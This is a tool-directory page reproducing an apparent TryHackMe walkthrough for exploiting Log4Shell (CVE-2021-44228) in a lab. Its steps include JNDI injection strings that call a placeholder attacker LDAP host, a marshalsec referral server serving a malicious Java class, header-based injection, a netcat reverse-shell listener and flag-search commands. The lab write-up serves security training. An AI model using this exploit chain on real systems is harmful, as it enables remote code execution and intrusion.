Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Solar-exploiting-log-4j β€” Step-by-step TryHackMe walkthrough for exploiting the Log4Shell vulnerability (CVE-2021-44228) to achieve remote code execution and capture flags. | Kitploit
Tools/GitHubGitHub/lathika-3006/solar-exploiting-log-4j
Privilege EscalationReconnaissanceVulnerability AnalysisExploitationReverse EngineeringWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
Share
GitHublathika-3006/solar-exploiting-log-4j

Solar-exploiting-log-4j

Step-by-step TryHackMe walkthrough for exploiting the Log4Shell vulnerability (CVE-2021-44228) to achieve remote code execution and capture flags.

View Repository
21228 months agoNot yet reviewed

πŸ”₯ Solar Exploiting Log4j - TryHackMe Walkthrough

πŸ“Œ Room: Solar Exploiting Log4j

Platform: TryHackMe Difficulty: Medium Topic: Log4Shell (Log4j Vulnerability)


🧠 Objective

Exploit the Log4j vulnerability (CVE-2021-44228) to gain remote code execution and capture flags.


πŸ› οΈ Tools Used

  • Nmap
  • Burp Suite
  • cURL
  • Netcat
  • Python HTTP Server

🌐 Step 1: Reconnaissance

πŸ” Scan Target

nmap -sC -sV <TARGET_IP>

πŸ“Œ Findings

  • Open ports: 80 (HTTP), others depending on room
  • Web application running Java-based backend

🌐 Step 2: Web Enumeration

  • Visit the web app in browser
  • Interact with inputs (login/search/header fields)
  • Capture request using Burp Suite

πŸ’₯ Step 3: Identify Log4j Vulnerability

Log4j vulnerability allows JNDI injection:

${jndi:ldap://<ATTACKER_IP>:1389/a}

If input is logged β†’ vulnerability exists.


βš™οΈ Step 4: Setup Listener

Start Netcat

nc -lvnp 4444

Start Malicious LDAP Server (Example)

git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package

Run LDAP server:

java -cp target/marshalsec.jar marshalsec.jndi.LDAPRefServer "http://<ATTACKER_IP>:8000/#Exploit" 1389

πŸ“‘ Step 5: Host Payload

python3 -m http.server 8000

Create malicious Java class (Exploit.class)


πŸš€ Step 6: Trigger Exploit

Inject payload into vulnerable field:

${jndi:ldap://<ATTACKER_IP>:1389/Exploit}

πŸ’‘ Use headers like:

  • User-Agent
  • X-Api-Version

πŸ–₯️ Step 7: Gain Reverse Shell

Once triggered:

  • Target connects back to Netcat listener
  • You get shell access

πŸ” Step 8: Privilege Escalation (if required)

Check:

sudo -l

Look for:

  • Misconfigured SUID binaries
  • Writable files
  • Cron jobs

🚩 Step 9: Capture Flags

find / -name flag.txt 2>/dev/null
cat flag.txt

🧾 Key Concepts Learned

  • Log4Shell (CVE-2021-44228)
  • JNDI Injection
  • Remote Code Execution (RCE)
  • Reverse Shell
  • Web Exploitation
Download Tool

Most Popular

View all β†’

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    891
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    547
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    369
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    366
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    309
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurityβ€”where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    282

Explore all tools

Browse our collection of tools

View all tools β†’